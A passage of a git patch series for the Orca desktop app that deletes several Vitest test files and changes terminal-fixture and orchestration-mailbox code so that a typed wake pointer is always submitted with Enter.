useStructuredAgentSessionRead: () => ({ - state: { - fence: 3, - items, - submissions: [], - status: 'ready', - error: null, - hasOlder: false, - handoff: null - }, - loadingOlder: false, - loadOlder: vi.fn() - }) -})) -vi.mock('./structured-agent-session-operation-id', () => ({ - structuredSessionOperationId: vi.fn() -})) -vi.mock('./use-structured-agent-session-sends', () => ({ - useStructuredAgentSessionSends: () => ({ - pending: [], - error: null, - send: vi.fn(), - stopSends: vi.fn() - }) -})) - -import { useStructuredAgentSession } from './use-structured-agent-session' - -describe('useStructuredAgentSession transcript', () => { - // A root left mounted can commit after happy-dom is torn down ("window is not defined"). - afterEach(cleanup) - - it('shows a cut turn no row explains with its one notice, placed in that turn', () => { - const { result } = renderHook(() => - useStructuredAgentSession({ - sessionId: 'session-1', - agent: 'codex', - target: { kind: 'local' }, - isVisible: true - }) - ) - - expect(result.current.messages.at(-1)).toMatchObject({ - role: 'system', - blocks: [ - { - text: 'Codex stopped while this response was in progress. You can continue in this conversation.', - tone: 'error' - } - ] - }) - expect(result.current.journalItems.at(-1)).toMatchObject({ turnScope: SCOPE }) - }) - - it('names any other agent by its own label, never as Claude', () => { - const { result } = renderHook(() => - useStructuredAgentSession({ - sessionId: 'session-1', - agent: 'gemini', - target: { kind: 'local' }, - isVisible: true - }) - ) - - expect(result.current.messages.at(-1)).toMatchObject({ - blocks: [{ text: expect.stringMatching(/^Gemini stopped while/) }] - }) - }) -}) diff --git a/src/renderer/src/components/right-sidebar/checks-panel/use-checks-panel-manual-refresh.test.tsx b/src/renderer/src/components/right-sidebar/checks-panel/use-checks-panel-manual-refresh.test.tsx deleted file mode 100644 index dd1ea643dcb..00000000000 --- a/src/renderer/src/components/right-sidebar/checks-panel/use-checks-panel-manual-refresh.test.tsx +++ /dev/null @@ -1,125 +0,0 @@ -// @vitest-environment happy-dom - -import { act, cleanup, renderHook } from '@testing-library/react' -import { afterEach, describe, expect, it, vi } from 'vitest' -import type * as HostedReviewCardRefresh from '@/store/slices/hosted-review-card-refresh' - -const refresh = vi.hoisted(() => ({ calls: [] as string[] })) - -vi.mock('@/store/slices/hosted-review-card-refresh', async (importOriginal) => { - const original = await importOriginal() - return { - ...original, - refreshHostedReviewCard: vi.fn(async () => { - refresh.calls.push('hosted-review') - return null - }) - } -}) - -import { useChecksPanelManualRefresh } from './use-checks-panel-manual-refresh' - -type RefreshInput = Parameters[0] - -afterEach(() => { - cleanup() - refresh.calls.length = 0 -}) - -describe('useChecksPanelManualRefresh ordering', () => { - it('refreshes review identity before starting checks and comments, then clears loading', async () => { - const refreshedPR = { - number: 42, - state: 'open', - title: 'Current review', - headSha: 'head-2', - prRepo: { owner: 'orca', repo: 'app', host: 'github.com' } - } as NonNullable - const setChecksLoading: RefreshInput['setChecksLoading'] = vi.fn((loading) => { - refresh.calls.push(`checks-loading:${String(loading)}`) - }) - const setCommentsLoading: RefreshInput['setCommentsLoading'] = vi.fn((loading) => { - refresh.calls.push(`comments-loading:${String(loading)}`) - }) - const input: RefreshInput = { - activeConnectionId: null, - activeGitLabReview: null, - activeWorktreeId: null, - activeWorktreePath: null, - activeWorktreePushTarget: null, - asyncResultKeyRef: { current: 'cache::main::42' }, - branch: 'main', - expireGitHubPRRefreshState: vi.fn(), - fallbackGitHubPRNumber: null, - fetchGitLabDetails: vi.fn(), - fetchHostedReviewForBranch: vi.fn(), - fetchPRChecks: vi.fn(async () => { - refresh.calls.push('checks') - return [] - }), - fetchPRComments: vi.fn(async () => { - refresh.calls.push('comments') - return [] - }), - fetchPRForBranch: vi.fn(async () => { - refresh.calls.push('review') - return refreshedPR - }), - gitStatusSnapshot: null, - isCurrentAsyncResult: () => true, - isFolder: false, - isGitLabReviewContext: false, - linkedAzureDevOpsPR: null, - linkedBitbucketPR: null, - linkedGiteaPR: null, - linkedGitLabMR: null, - linkedPR: null, - ownerCopyHostId: null, - ownerTarget: { kind: 'local' }, - panelContextKey: 'repo-1::worktree-1::main', - panelContextKeyRef: { current: 'repo-1::worktree-1::main' }, - pollIntervalRef: { current: 30_000 }, - pr: refreshedPR, - prCacheKey: 'cache', - prNumber: 42, - prevChecksRef: { current: '' }, - refreshInFlightRef: { current: false }, - refreshRequestKeyRef: { current: '' }, - repo: { id: 'repo-1', path: '/workspace/repo' } as NonNullable, - setChecks: vi.fn(), - setChecksLoading, - setComments: vi.fn(), - setCommentsLoading, - setEligibilityRefreshNonce: vi.fn(), - setGitStatusSnapshot: vi.fn(), - setIsRefreshing: vi.fn((loading) => { - refresh.calls.push(`refreshing:${String(loading)}`) - }), - updateWorktreeGitIdentity: vi.fn() - } - const { result } = renderHook(() => useChecksPanelManualRefresh(input)) - - await act(async () => result.current.handleRefresh()) - - expect(refresh.calls).toEqual([ - 'refreshing:true', - 'review', - 'hosted-review', - 'checks', - 'checks-loading:true', - 'comments-loading:true', - 'comments', - 'checks-loading:false', - 'comments-loading:false', - 'refreshing:false' - ]) - expect(input.fetchPRForBranch).toHaveBeenCalledWith('/workspace/repo', 'main', { - force: true, - repoId: 'repo-1', - worktreeId: undefined, - linkedPRNumber: null, - fallbackPRNumber: null, - reason: 'manual' - }) - }) -}) diff --git a/src/renderer/src/components/sidebar/ForgetSshWorkspaceDialog.test.tsx b/src/renderer/src/components/sidebar/ForgetSshWorkspaceDialog.test.tsx deleted file mode 100644 index c79c166771e..00000000000 --- a/src/renderer/src/components/sidebar/ForgetSshWorkspaceDialog.test.tsx +++ /dev/null @@ -1,121 +0,0 @@ -// @vitest-environment happy-dom - -import '@testing-library/jest-dom/vitest' -import { cleanup, fireEvent, render, screen, waitFor } from '@testing-library/react' -import type { ButtonHTMLAttributes, ReactNode } from 'react' -import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' -import type { Worktree } from '../../../../shared/worktree/types' - -const mocks = vi.hoisted(() => { - const allWorktrees: Worktree[] = [] - const modalData: Record = {} - const state = { - modalData, - closeModal: vi.fn(), - removeWorktree: vi.fn(), - clearWorktreeDeleteState: vi.fn(), - allWorktrees, - sshTargetLabels: new Map(), - removedSshTargetLabels: new Map(), - gitStatusByWorktree: {}, - deleteStateByWorktreeId: {} - } - return { state } -}) - -vi.mock('@/store', () => ({ - useAppStore: Object.assign( - (selector: (state: typeof mocks.state) => unknown) => selector(mocks.state), - { getState: () => mocks.state } - ) -})) - -vi.mock('@/store/selectors', () => ({ - getWorktreeOnHostFromState: (_state: unknown, worktreeId: string, hostId?: string) => - mocks.state.allWorktrees.find( - (w) => w.id === worktreeId && (hostId === undefined || w.hostId === hostId) - ) -})) - -vi.mock('@/components/ui/dialog', () => ({ - Dialog: ({ open, children }: { open: boolean; children: ReactNode }) => - open ?
{children}
: null, - DialogContent: ({ children }: { children: ReactNode }) =>
{children}
, - DialogDescription: ({ children }: { children: ReactNode }) =>
{children}
, - DialogFooter: ({ children }: { children: ReactNode }) =>
{children}
, - DialogHeader: ({ children }: { children: ReactNode }) =>
{children}
, - DialogTitle: ({ children }: { children: ReactNode }) =>
{children}
-})) - -vi.mock('@/components/ui/button', () => ({ - Button: ({ children, ...props }: ButtonHTMLAttributes) => ( - - ) -})) - -vi.mock('sonner', () => ({ toast: { error: vi.fn(), info: vi.fn(), success: vi.fn() } })) -vi.mock('./RemovalUnsavedFilesNotice', () => ({ RemovalUnsavedFilesNotice: () => null })) -vi.mock('./removal-unsaved-files', () => ({ blockRemovalForUnsavedFiles: () => false })) -vi.mock('@/store/slices/worktrees/teardown/removed-workspace-unsaved-files', () => ({ - confirmUnsavedDiscard: () => new Map() -})) - -import ForgetSshWorkspaceDialog from './ForgetSshWorkspaceDialog' - -const hostId = 'ssh:box' as const - -function sshWorkspace(instanceId: string): Worktree { - return { - id: 'repo::/srv/wt', - instanceId, - hostId, - repoId: 'repo', - path: '/srv/wt', - head: 'abc', - branch: 'wt', - isBare: false, - isMainWorktree: false, - displayName: 'wt', - comment: '', - linkedIssue: null, - linkedPR: null, - linkedLinearIssue: null, - isArchived: false, - isUnread: false, - isPinned: false, - sortOrder: 0, - lastActivityAt: 1 - } -} - -describe('ForgetSshWorkspaceDialog', () => { - beforeEach(() => { - mocks.state.allWorktrees.splice(0, mocks.state.allWorktrees.length, sshWorkspace('instance-A')) - mocks.state.modalData = { - worktreeId: 'repo::/srv/wt', - worktreeDeleteIdentities: [{ id: 'repo::/srv/wt', instanceId: 'instance-A', hostId }], - displayName: 'wt', - resolution: { kind: 'saved', targetId: 'box' } - } - mocks.state.removeWorktree.mockReset().mockResolvedValue({ ok: true }) - mocks.state.closeModal.mockReset() - }) - - afterEach(() => { - cleanup() - }) - - it('forgets a saved host’s workspace on its SSH host without a remote delete', async () => { - render() - - fireEvent.click(screen.getByText('Remove from Orca')) - - await waitFor(() => expect(mocks.state.closeModal).toHaveBeenCalled()) - expect(mocks.state.removeWorktree).toHaveBeenCalledTimes(1) - expect(mocks.state.removeWorktree).toHaveBeenCalledWith( - { id: 'repo::/srv/wt', executionHostId: hostId }, - false, - expect.objectContaining({ mode: 'forget-local' }) - ) - }) -}) diff --git a/src/renderer/src/hooks/useIpcEvents-silent-terminal-adoption.test.ts b/src/renderer/src/hooks/useIpcEvents-silent-terminal-adoption.test.ts deleted file mode 100644 index fd86728f986..00000000000 --- a/src/renderer/src/hooks/useIpcEvents-silent-terminal-adoption.test.ts +++ /dev/null @@ -1,124 +0,0 @@ -import { describe, expect, it, vi } from 'vitest' -import { - createHarnessStoreState, - loadIpcEventsHarness, - type HarnessStoreState -} from './ipc-events-test-harness' - -describe('useIpcEvents silent terminal adoption (surfaceOwner: false)', () => { - const asMock = (value: unknown): ReturnType => value as ReturnType - - function createBackgroundWorkspaceState(): HarnessStoreState { - return createHarnessStoreState({ - tabsByWorktree: {}, - // Honour the pre-minted tab id so adoption resolves the same tab main asked for. - createTab: vi.fn( - (_worktreeId: string, _groupId?: string, _tabType?: string, options?: { id?: string }) => ({ - id: options?.id ?? 'tab-minted' - }) - ), - worktreesByRepo: { - 'repo-1': [ - { id: 'wt-1', repoId: 'repo-1' }, - { id: 'wt-2', repoId: 'repo-1' } - ] - } - }) - } - - it('adopts a background workspace terminal without scrolling the sidebar to it', async () => { - const storeState = createBackgroundWorkspaceState() - const harness = await loadIpcEventsHarness(storeState) - harness.useIpcEvents() - - harness.createTerminal({ - worktreeId: 'wt-2', - ptyId: 'pty-cli', - activate: false, - tabId: 'tab-cli' - }) - - expect(storeState.createTab).toHaveBeenCalledWith('wt-2', undefined, undefined, { - initialPtyId: 'pty-cli', - activate: false, - id: 'tab-cli' - }) - expect(storeState.revealWorktreeInSidebar).toHaveBeenCalledWith('wt-2') - - asMock(storeState.createTab).mockClear() - asMock(storeState.revealWorktreeInSidebar).mockClear() - asMock(storeState.setActiveView).mockClear() - asMock(storeState.setActiveWorktree).mockClear() - asMock(storeState.setActiveTabType).mockClear() - asMock(storeState.setActiveTab).mockClear() - - // Adopt background-created agent tabs without scrolling the sidebar to them. - harness.createTerminal({ - worktreeId: 'wt-2', - ptyId: 'pty-background-create', - activate: false, - surfaceOwner: false, - tabId: 'tab-background-create' - }) - - expect(storeState.createTab).toHaveBeenCalledWith('wt-2', undefined, undefined, { - initialPtyId: 'pty-background-create', - activate: false, - id: 'tab-background-create' - }) - expect(storeState.revealWorktreeInSidebar).not.toHaveBeenCalled() - expect(storeState.setActiveView).not.toHaveBeenCalled() - expect(storeState.setActiveWorktree).not.toHaveBeenCalled() - expect(storeState.setActiveTabType).not.toHaveBeenCalled() - expect(storeState.setActiveTab).not.toHaveBeenCalled() - }) - - it('replies to a requested terminal create without scrolling the sidebar when surfaceOwner is false', async () => { - const storeState = createBackgroundWorkspaceState() - const harness = await loadIpcEventsHarness(storeState) - harness.useIpcEvents() - - harness.requestTerminalCreate({ - requestId: 'req-cli', - worktreeId: 'wt-2', - title: 'Claude' - }) - - expect(harness.replyTerminalCreate).toHaveBeenCalledWith({ - requestId: 'req-cli', - tabId: 'tab-minted', - title: 'Claude' - }) - expect(storeState.revealWorktreeInSidebar).toHaveBeenCalledWith('wt-2') - - asMock(storeState.createTab).mockClear() - asMock(storeState.revealWorktreeInSidebar).mockClear() - asMock(storeState.setActiveView).mockClear() - asMock(storeState.setActiveWorktree).mockClear() - asMock(storeState.setActiveTabType).mockClear() - asMock(storeState.setActiveTab).mockClear() - harness.replyTerminalCreate.mockClear() - - harness.requestTerminalCreate({ - requestId: 'req-background-create', - worktreeId: 'wt-2', - title: 'Claude', - surfaceOwner: false - }) - - expect(storeState.createTab).toHaveBeenCalledWith('wt-2', undefined, undefined, { - activate: false, - recordInteraction: false - }) - expect(harness.replyTerminalCreate).toHaveBeenCalledWith({ - requestId: 'req-background-create', - tabId: 'tab-minted', - title: 'Claude' - }) - expect(storeState.revealWorktreeInSidebar).not.toHaveBeenCalled() - expect(storeState.setActiveView).not.toHaveBeenCalled() - expect(storeState.setActiveWorktree).not.toHaveBeenCalled() - expect(storeState.setActiveTabType).not.toHaveBeenCalled() - expect(storeState.setActiveTab).not.toHaveBeenCalled() - }) -}) From ed79f1d1a66d34a2a19f643a8267a5b55d641abb Mon Sep 17 00:00:00 2001 From: Brennan Benson <79079362+brennanb2025@users.noreply.github.com> Date: Fri, 30 Oct 2026 22:22:49 -0700 Subject: [PATCH 05/47] test(terminal): give the fish color-scheme test's store fixture unifiedTabsByWorktree (#36586) #31617 made terminal pane owner resolution read state.unifiedTabsByWorktree, but this test's mocked store never had the field, so shell contracts fail on main with "Cannot read properties of undefined (reading 'wt-1')". --- .../terminal-pane/fish-color-scheme-child-stdin.node-pty.test.ts | 1 + 1 file changed, 1 insertion(+) diff --git a/src/renderer/src/components/terminal-pane/fish-color-scheme-child-stdin.node-pty.test.ts b/src/renderer/src/components/terminal-pane/fish-color-scheme-child-stdin.node-pty.test.ts index 6e2198d28c6..d6eefc90fa9 100644 --- a/src/renderer/src/components/terminal-pane/fish-color-scheme-child-stdin.node-pty.test.ts +++ b/src/renderer/src/components/terminal-pane/fish-color-scheme-child-stdin.node-pty.test.ts @@ -336,6 +336,7 @@ describe('fish never receives a color-scheme report it did not query (#9993)', ( mockStoreState = { activeWorktreeId: 'wt-1', tabsByWorktree: { 'wt-1': [{ id: 'tab-1', ptyId: 'fish-pty' }] }, + unifiedTabsByWorktree: {}, ptyIdsByTabId: { 'tab-1': ['fish-pty'] }, terminalPaneStartsByPaneKey: {}, terminalPaneResumeOutcomesByPaneKey: {}, From 48a1c512e3bf98b9b4f579085781fb2039879544 Mon Sep 17 00:00:00 2001 From: Jinwoo Hong <73622457+Jinwoo-H@users.noreply.github.com> Date: Sat, 31 Oct 2026 01:23:21 -0400 Subject: [PATCH 06/47] Always submit an orchestration wake once it has been typed (#36511) Once Orca has typed a wake line into an agent terminal, it now always sends the Enter, even if the mail was read during the short delay before it. Previously the Enter was skipped and the typed line stayed in the composer, where it counted as a user draft and held later wakes. --- ...chestration-mailbox-cold-park-idle.spec.ts | 8 +- .../orchestration-mailbox-delivery.test.ts | 1 + ...n-mailbox-notification-consistency.test.ts | 21 --- ...ation-mailbox-typed-pointer-submit.spec.ts | 62 +++++++ .../messages/mailbox-pointer-enter-state.ts | 6 +- .../orchestration/mailbox-pointer-stage.ts | 15 -- .../mailbox-pointer-submit.test.ts | 153 +++++++++++++++++- .../orchestration/mailbox-pointer-submit.ts | 52 +++--- 8 files changed, 237 insertions(+), 81 deletions(-) create mode 100644 src/main/runtime/orchestration-mailbox-typed-pointer-submit.spec.ts diff --git a/src/main/runtime/orchestration-mailbox-cold-park-idle.spec.ts b/src/main/runtime/orchestration-mailbox-cold-park-idle.spec.ts index ef2af3a2b02..2b8c8e758d6 100644 --- a/src/main/runtime/orchestration-mailbox-cold-park-idle.spec.ts +++ b/src/main/runtime/orchestration-mailbox-cold-park-idle.spec.ts @@ -122,7 +122,7 @@ describe('orchestration mailbox cold-park idle continuation', () => { db.close() }) - it('releases a delayed pointer watermark after an explicit check claims the batch', async () => { + it('submits a delayed pointer write after an explicit check claims the batch', async () => { vi.useFakeTimers() const db = createDatabase('orca-mailbox-delayed-pointer-check-') const harness = createRuntime(db) @@ -153,8 +153,8 @@ describe('orchestration mailbox cold-park idle continuation', () => { expect(settleFirstPointerWrite).toBeDefined() settleFirstPointerWrite?.(stubWriteSettlement(true)) - await vi.advanceTimersByTimeAsync(0) - expect(harness.write.mock.calls.filter(([, payload]) => payload === '\r')).toHaveLength(0) + await vi.advanceTimersByTimeAsync(500) + expect(harness.write.mock.calls.filter(([, payload]) => payload === '\r')).toHaveLength(1) await checkBoundMailbox(harness.runtime, { ack: checked.deliveryId! }) const later = insertDirectRunMessage(db, run.id, 'Deliver after pointer settlement') @@ -163,7 +163,7 @@ describe('orchestration mailbox cold-park idle continuation', () => { expect(pointerCount(harness.write)).toBe(2) await vi.advanceTimersByTimeAsync(500) - expect(harness.write.mock.calls.filter(([, payload]) => payload === '\r')).toHaveLength(1) + expect(harness.write.mock.calls.filter(([, payload]) => payload === '\r')).toHaveLength(2) expect(db.getMessageById(later.id)?.delivered_at).toEqual(expect.any(String)) db.close() }) diff --git a/src/main/runtime/orchestration-mailbox-delivery.test.ts b/src/main/runtime/orchestration-mailbox-delivery.test.ts index d9aa51de117..6fa134751cf 100644 --- a/src/main/runtime/orchestration-mailbox-delivery.test.ts +++ b/src/main/runtime/orchestration-mailbox-delivery.test.ts @@ -12,3 +12,4 @@ import './orchestration-dispatch-mailbox-delivery.spec' import './orchestration-mailbox-pointer-cli-command.spec' import './orchestration-mailbox-transport-settlement.spec' import './orchestration-mailbox-cold-park-idle.spec' +import './orchestration-mailbox-typed-pointer-submit.spec' diff --git a/src/main/runtime/orchestration-mailbox-notification-consistency.test.ts b/src/main/runtime/orchestration-mailbox-notification-consistency.test.ts index b27f009b0c7..4725de198d0 100644 --- a/src/main/runtime/orchestration-mailbox-notification-consistency.test.ts +++ b/src/main/runtime/orchestration-mailbox-notification-consistency.test.ts @@ -692,27 +692,6 @@ describe('orchestration notification mailbox consistency', () => { } ) - it('releases staged pointer state when an explicit check owns the batch', async () => { - vi.useFakeTimers() - const db = new OrchestrationDb(':memory:') - const harness = createRuntime(db) - const run = createBoundRun(db, 'Explicit-check Run') - insertDirectRunMessage(db, run.id, 'Checked before Enter') - - await driveToLiveIdle(harness.runtime) - expect(pointerCount(harness.write)).toBe(1) - const checked = await checkBoundMailbox(harness.runtime) - expect(checked).toMatchObject({ runId: run.id, count: 1 }) - - await vi.advanceTimersByTimeAsync(500) - expect(harness.write.mock.calls.filter(([, payload]) => payload === '\r')).toHaveLength(0) - const redrive = vi.spyOn(harness.runtime, 'deliverPendingMessagesForHandle') - harness.runtime.onPtyExit(PTY_ID, 0) - await Promise.resolve() - expect(redrive).not.toHaveBeenCalled() - db.close() - }) - it('routes same-Run direct mail through the bound check and acknowledgment path', async () => { vi.useFakeTimers() const db = new OrchestrationDb(':memory:') diff --git a/src/main/runtime/orchestration-mailbox-typed-pointer-submit.spec.ts b/src/main/runtime/orchestration-mailbox-typed-pointer-submit.spec.ts new file mode 100644 index 00000000000..9527efcbbe2 --- /dev/null +++ b/src/main/runtime/orchestration-mailbox-typed-pointer-submit.spec.ts @@ -0,0 +1,62 @@ +import { rmSync } from 'node:fs' +import { afterEach, describe, expect, it, vi } from 'vitest' +import { OrchestrationDb } from './orchestration/db' +import { + checkBoundMailbox, + createBoundRun, + createRuntime, + driveToLiveIdle, + insertDirectRunMessage, + pointerCount, + temporaryDirectories, + TERMINAL_HANDLE +} from './orchestration-mailbox-notification-test-harness' + +describe('orchestration typed pointer submission', () => { + afterEach(() => { + vi.useRealTimers() + for (const directory of temporaryDirectories.splice(0)) { + rmSync(directory, { recursive: true, force: true }) + } + }) + + it.each([ + ['claims', false], + ['reads', true] + ])('still submits a typed pointer when a check %s its mail before Enter', async (_name, ack) => { + vi.useFakeTimers() + const db = new OrchestrationDb(':memory:') + const harness = createRuntime(db) + const run = createBoundRun(db, 'Explicit-check Run') + const message = insertDirectRunMessage(db, run.id, 'Checked before Enter') + const enterCount = (): number => + harness.write.mock.calls.filter(([, payload]) => payload === '\r').length + + await driveToLiveIdle(harness.runtime) + expect(pointerCount(harness.write)).toBe(1) + const checked = await checkBoundMailbox(harness.runtime) + expect(checked).toMatchObject({ runId: run.id, count: 1 }) + if (ack) { + await checkBoundMailbox(harness.runtime, { ack: checked.deliveryId! }) + expect(db.getMessageById(message.id)?.read).toBe(1) + } + + await vi.advanceTimersByTimeAsync(500) + // A skipped Enter would strand the typed line and hold every later pointer as a draft. + expect(enterCount()).toBe(1) + expect(db.getMessageById(message.id)).toMatchObject({ + delivered_at: expect.any(String), + pointer_enter_pending: 0 + }) + + if (!ack) { + await checkBoundMailbox(harness.runtime, { ack: checked.deliveryId! }) + } + insertDirectRunMessage(db, run.id, 'Next wake') + harness.runtime.deliverPendingMessagesForHandle(TERMINAL_HANDLE) + await vi.advanceTimersByTimeAsync(500) + expect(pointerCount(harness.write)).toBe(2) + expect(enterCount()).toBe(2) + db.close() + }) +}) diff --git a/src/main/runtime/orchestration/db/messages/mailbox-pointer-enter-state.ts b/src/main/runtime/orchestration/db/messages/mailbox-pointer-enter-state.ts index e41ee1f6549..3003b684bc5 100644 --- a/src/main/runtime/orchestration/db/messages/mailbox-pointer-enter-state.ts +++ b/src/main/runtime/orchestration/db/messages/mailbox-pointer-enter-state.ts @@ -127,8 +127,10 @@ export function settleMailboxPointerEnter( SET delivered_at = COALESCE(delivered_at, datetime('now')), pointer_enter_pending = 0, pointer_pty_id = NULL, pointer_process_incarnation = NULL - WHERE pointer_pty_id = ? AND pointer_process_incarnation = ? - AND pointer_enter_pending IN (${expectedPhases.map(() => '?').join(',')}) + WHERE ((pointer_pty_id = ? AND pointer_process_incarnation = ? + AND pointer_enter_pending IN (${expectedPhases.map(() => '?').join(',')})) + -- A check that read the mail cleared this claim; the pointer was still shown. + OR (read = 1 AND pointer_enter_pending = 0)) AND id IN (${placeholders})`, leadingParams: [target.ptyId, target.processIncarnation, ...expectedPhases] })) diff --git a/src/main/runtime/orchestration/mailbox-pointer-stage.ts b/src/main/runtime/orchestration/mailbox-pointer-stage.ts index 19db0259196..ee1a7d18185 100644 --- a/src/main/runtime/orchestration/mailbox-pointer-stage.ts +++ b/src/main/runtime/orchestration/mailbox-pointer-stage.ts @@ -129,20 +129,6 @@ function finishPointerWriteAndStageEnter submitOrchestrationMailboxPointer( { @@ -150,7 +136,6 @@ function finishPointerWriteAndStageEnter { state, getDb: () => db, resolveSubmitTarget: () => expectedTarget, - getMessageWaiters: () => undefined, isLeafPtyProvenAbsent: async () => false, isPtyAwaitingUserInput: () => false, writePty, @@ -153,7 +152,6 @@ describe('orchestration mailbox pointer submit', () => { settleMailboxPointerEnter: vi.fn() }) as never, resolveSubmitTarget: () => target, - getMessageWaiters: () => undefined, isLeafPtyProvenAbsent: async () => false, isPtyAwaitingUserInput: () => false, writePty, @@ -210,7 +208,6 @@ describe('orchestration mailbox pointer submit', () => { settleMailboxPointerEnter: vi.fn() }) as never, resolveSubmitTarget: () => target, - getMessageWaiters: () => undefined, isLeafPtyProvenAbsent: async () => false, isPtyAwaitingUserInput, writePty, @@ -289,7 +286,6 @@ describe('orchestration mailbox pointer submit', () => { settleMailboxPointerEnter }) as never, resolveSubmitTarget: () => currentTarget, - getMessageWaiters: () => undefined, isLeafPtyProvenAbsent: async () => false, isPtyAwaitingUserInput: () => false, writePty, @@ -414,7 +410,6 @@ describe('orchestration mailbox pointer submit', () => { state, getDb: () => ({ areUnreadMessages: () => true, releaseMailboxPointerEnter }) as never, resolveSubmitTarget: () => ({ ...expectedTarget, processIncarnation: 'inc-replaced' }), - getMessageWaiters: () => undefined, isLeafPtyProvenAbsent: async () => false, isPtyAwaitingUserInput: () => false, writePty, @@ -472,7 +467,6 @@ describe('orchestration mailbox pointer submit', () => { } }) as never, resolveSubmitTarget: () => null, - getMessageWaiters: () => undefined, isLeafPtyProvenAbsent: async () => false, isPtyAwaitingUserInput: () => false, writePty: vi.fn(settledWriteStub()), @@ -537,4 +531,151 @@ describe('orchestration mailbox pointer submit', () => { ) expect(releaseMailboxPointerEnter).not.toHaveBeenCalled() }) + + describe('a pointer whose mail a check read before Enter', () => { + function submitAfterRead( + options: { + absent?: boolean + replaced?: boolean + shellInFront?: boolean + dialogOpen?: boolean + } = {} + ) { + const db = new OrchestrationDb(':memory:') + const message = db.insertMessage({ + runId: 'run_legacy_local', + from: 'a', + to: 'run:run-1', + subject: 'read by check' + }) + const ptyId = 'pty-read' + const reservation = { ptyId, processIncarnation: 'inc-read' } + const terminal = { + ptyId, + handle: 'term-read', + paneKeys: ['tab-1:leaf-1'], + lastAgentStatus: options.shellInFront ? null : ('idle' as const), + lastAgentStatusObservedLive: !options.shellInFront + } + const expectedTarget = { terminal, processIncarnation: reservation.processIncarnation } + const state = new OrchestrationMailboxPointerState() + const flight = state.beginFlight(ptyId) + state.setWatermark('run:run-1', 1, ptyId) + expect(db.stageMailboxPointerEnter([message.id], reservation)).toBe(true) + expect(db.markMailboxPointerWriteAttempted([message.id], reservation)).toBe(true) + db.markAsRead([message.id]) + const writePty = vi.fn(settledWriteStub()) + const settle = vi.fn(() => state.settleFlight(ptyId, flight)) + submitOrchestrationMailboxPointer( + { + mailboxOwner: { resolve: () => 'run:run-1' } as never, + state, + getDb: () => db, + resolveSubmitTarget: () => + options.replaced ? { terminal, processIncarnation: 'inc-replaced' } : expectedTarget, + isLeafPtyProvenAbsent: async () => options.absent ?? false, + isPtyAwaitingUserInput: () => options.dialogOpen ?? false, + writePty, + settle, + redrive: vi.fn() + }, + { + mailboxHandle: 'run:run-1', + messages: [{ id: message.id, type: 'status' }], + newestSequence: 1, + ptyId, + flight, + expectedTarget + } + ) + return { db, message, writePty, settle, flight } + } + + it('still sends exactly one Enter and records the pointer as delivered', async () => { + const { db, message, writePty, settle } = submitAfterRead() + + await vi.waitFor(() => expect(settle).toHaveBeenCalledOnce()) + expect(writePty.mock.calls).toEqual([['pty-read', '\r']]) + expect(db.getMessageById(message.id)).toMatchObject({ + read: 1, + delivered_at: expect.any(String), + pointer_enter_pending: 0 + }) + db.close() + }) + + it.each([ + ['the PTY is gone', { absent: true }], + ['the process was replaced', { replaced: true }], + ['a shell is in front', { shellInFront: true }] + ])('sends no Enter when %s', async (_name, options) => { + const { db, writePty, settle } = submitAfterRead(options) + + await vi.waitFor(() => expect(settle).toHaveBeenCalledOnce()) + expect(writePty).not.toHaveBeenCalled() + db.close() + }) + + it('defers the Enter while a dialog is open', async () => { + const { db, writePty, settle, flight } = submitAfterRead({ dialogOpen: true }) + + await vi.waitFor(() => expect(flight.deferredUntilIdle).toBe(true)) + expect(writePty).not.toHaveBeenCalled() + expect(settle).not.toHaveBeenCalled() + db.close() + }) + }) + + it('sends no second Enter for unread mail whose Enter was already attempted', async () => { + const db = new OrchestrationDb(':memory:') + const message = db.insertMessage({ + runId: 'run_legacy_local', + from: 'a', + to: 'run:run-1', + subject: 'already entered' + }) + const ptyId = 'pty-entered' + const reservation = { ptyId, processIncarnation: 'inc-entered' } + const terminal = { + ptyId, + handle: 'term-entered', + paneKeys: ['tab-1:leaf-1'], + lastAgentStatus: 'idle' as const, + lastAgentStatusObservedLive: true + } + const expectedTarget = { terminal, processIncarnation: reservation.processIncarnation } + const state = new OrchestrationMailboxPointerState() + const flight = state.beginFlight(ptyId) + expect(db.stageMailboxPointerEnter([message.id], reservation)).toBe(true) + expect(db.markMailboxPointerWriteAttempted([message.id], reservation)).toBe(true) + expect(db.markMailboxPointerEnterAttempted([message.id], reservation)).toBe(true) + const writePty = vi.fn(settledWriteStub()) + const settle = vi.fn(() => state.settleFlight(ptyId, flight)) + + submitOrchestrationMailboxPointer( + { + mailboxOwner: { resolve: () => 'run:run-1' } as never, + state, + getDb: () => db, + resolveSubmitTarget: () => expectedTarget, + isLeafPtyProvenAbsent: async () => false, + isPtyAwaitingUserInput: () => false, + writePty, + settle, + redrive: vi.fn() + }, + { + mailboxHandle: 'run:run-1', + messages: [{ id: message.id, type: 'status' }], + newestSequence: 1, + ptyId, + flight, + expectedTarget + } + ) + + await vi.waitFor(() => expect(settle).toHaveBeenCalledOnce()) + expect(writePty).not.toHaveBeenCalled() + db.close() + }) }) diff --git a/src/main/runtime/orchestration/mailbox-pointer-submit.ts b/src/main/runtime/orchestration/mailbox-pointer-submit.ts index 7453e9044a2..f11a28dd2f6 100644 --- a/src/main/runtime/orchestration/mailbox-pointer-submit.ts +++ b/src/main/runtime/orchestration/mailbox-pointer-submit.ts @@ -3,10 +3,6 @@ import { MAILBOX_POINTER_ENTER_ATTEMPTED, MAILBOX_POINTER_WRITE_ATTEMPTED } from './db/messages/mailbox-pointer-enter-state' -import { - shouldReleaseOrchestrationPointer, - type OrchestrationMessageWaiter -} from './mailbox-pointer-eligibility' import { isMailboxTerminalTakingInput, type OrchestrationMailboxOwner, @@ -18,12 +14,11 @@ import type { } from './mailbox-pointer-state' import type { WriteSettlement } from '../../../shared/pty-write-settlement' -type PointerSubmitDependencies = { +type PointerSubmitDependencies = { mailboxOwner: OrchestrationMailboxOwner state: OrchestrationMailboxPointerState getDb: () => OrchestrationDb | null resolveSubmitTarget: (ptyId: string) => OrchestrationMailboxPointerSubmitTarget | null - getMessageWaiters: (mailboxHandle: string) => ReadonlySet | undefined isLeafPtyProvenAbsent: (ptyId: string) => Promise isPtyAwaitingUserInput: (ptyId: string) => boolean writePty: (ptyId: string, data: string) => WriteSettlement | Promise @@ -36,8 +31,8 @@ export type OrchestrationMailboxPointerSubmitTarget = { processIncarnation: string } -export function submitOrchestrationMailboxPointer( - deps: PointerSubmitDependencies, +export function submitOrchestrationMailboxPointer( + deps: PointerSubmitDependencies, input: { mailboxHandle: string messages: readonly { 